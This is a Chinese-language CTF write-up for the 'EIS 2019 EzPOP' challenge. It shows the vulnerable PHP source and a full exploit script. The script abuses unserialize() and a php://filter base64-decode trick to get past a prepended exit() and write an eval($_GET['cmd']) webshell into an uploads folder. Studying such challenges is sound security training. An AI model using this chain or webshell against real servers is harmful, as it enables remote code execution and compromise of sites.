前言
EISCTF-web
就只有一道题
题解
[EIS 2019]EzPOP
考察:代码审计,base64写文件,反序列化
题目提供源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| <?php error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; }
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; }
public function getForStorage() { $cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); }
public function save() { $contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire); }
public function __destruct() { if (!$this->autosave) { $this->save(); } } }
class B {
protected function getExpireTime($expire): int { return (int) $expire; }
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; }
$serialize = $this->options['serialize'];
return $serialize($data); }
public function set($name, $value, $expire = null): bool{ $this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
$expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { } }
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
if ($result) { return true; }
return false; }
}
if (isset($_GET['src'])) { highlight_file(__FILE__); }
$dir = "uploads/";
if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
|
分析代码,可以发现这个POP链很明显,就是
1
| A类的__destruct()方法,调用save()方法,继而调用了B类的set方法,在B类的set方法中写入shell.
|
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
class A {
protected $store;
protected $key;
protected $expire;
public function __construct() { $this->key = '4.php'; }
public function getValue($value) { $this->store = $value; }
}
class B {
public $options;
}
$a = new A(); $b = new B(); $b->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=./uploads/'; $b->options['serialize'] = 'strval'; $b->options['data_compress'] = false; $b->options['expire'] = 12; $a->getValue($b); $project = array('path'=>'PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+'); $tom = '123'; $a->cache = array($tom=>$project); $a->complete = '2';
echo urlencode(serialize($a)); ?>
|
首先是文件名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| class A public function save() { $contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire); }
class B public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } public function set($name, $value, $expire = null): bool{
... ... $filename = $this->getCacheKey($name);
$dir = dirname($filename);
... ...
... ... $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); ... ... }
|
可以看到classB中创建的filename
的$name
来自classA的$this->key
,而其路径来自$this->options['prefix']
,那么如何构造这个路径呢,在代码中看到这么一行:
1
| $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
|
$data
中的这一句会让我们的shell自动退出,无法正常执行。那么为了让shell能正常执行,我们可以写入$data
像下面这样:
1
| "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n".base64字符串
|
然后通过filter伪协议
通过base64解码后写入shell文件,即我们的1.php
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
就会变成乱码,写入的shell内容
文件名解决了,现在来看如何写入文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?php error_reporting(0);
class A { ... ... public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; } ... ... public function getForStorage() { $cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); }
public function save() { $contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire); } ... ... public function __destruct() { if (!$this->autosave) { $this->save(); } } }
class B { ... ... protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; }
$serialize = $this->options['serialize']; ... ... return $serialize($data); } public function set($name, $value, $expire = null): bool{ ... ... $data = $this->serialize($value); ... ... if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); } ... ... $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); ... .... } }
|
我们从下往上看我们的$data
,不经过数据压缩,设置$this->options['data_compress']
为false.然后经过serialize()
方法。传入serialize()
的值在该函数中转化成string
类型。所以$this->options['serialize']
可以为strval
。
然后再往上到A类的$contents = $this->getForStorage();
,跟进一下到cleanContents()
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; }
|
传入该函数的值为一个数组,然后该函数的作用就是对传入函数的数组中的元素,其该元素的键名与$cacahedProperties
取交集,得到交集后可得$contents[$path]
为该键。那我们可以传入一个数组,其元素的键名可以为path
,键值为base64加密后的shell
那么最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
class A {
protected $store;
protected $key;
protected $expire;
public function __construct() { $this->key = '6.php'; }
public function getValue($value) { $this->store = $value; }
}
class B {
public $options;
}
$a = new A(); $b = new B(); $b->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=./uploads/'; $b->options['serialize'] = 'strval'; $b->options['data_compress'] = false; $b->options['expire'] = 12; $a->getValue($b); $project = array('path'=>'PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+'); $tom = '123'; $a->cache = array($tom=>$project); $a->complete = '2';
echo urlencode(serialize($a)); ?>
|
成功写入shell